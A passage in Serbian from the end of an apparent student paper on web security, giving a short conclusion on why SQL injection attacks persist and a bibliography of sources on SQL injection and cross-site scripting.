Када се открије нека рањивост она се врло брзо и закрпи. Неки напади и рањивости
су доступни већ дуго времена на један те исти начин што не значи да се не појављују и
данас. SQLi је присутан већ дуги низ година и развијене су доста добре методе одбране од
такве врсте напада, а још увек се појављују случајени SQLi напада. Један од главних
узрока су програмери апликација који својим пропустима и незнањем омогућавају овакве
нападе.
Доласком било које нове технологије дефинитивно ће долазити и низ рањивости
које ће се смањивати све више како технологија буде стабилнија.
Најбитније је схватити да једна линија „неисправног“ кода у апликацији може
учинити цео унутрашњи систем неке компаније рањивим.

17
9. ЛИТЕРАТУРА
 https://en.wikipedia.org/wiki/Database
 https://www.w3schools.com/sql/sql_injection.asp
 https://en.wikipedia.org/wiki/SQL_injection
 https://www.owasp.org/index.php/SQL_Injection
 https://www.netsparker.com/blog/web-security/sql-injection-vulnerability/
 https://www.guru99.com/learn-sql-injection-with-practical-example.html
 https://www.hacksplaining.com/exercises/sql-injection
 http://php.net/manual/en/security.database.sql-injection.php
 https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
 https://en.wikipedia.org/wiki/Cross-site_scripting
 https://www.checkmarx.com/2017/10/09/3-ways-prevent-xss/

18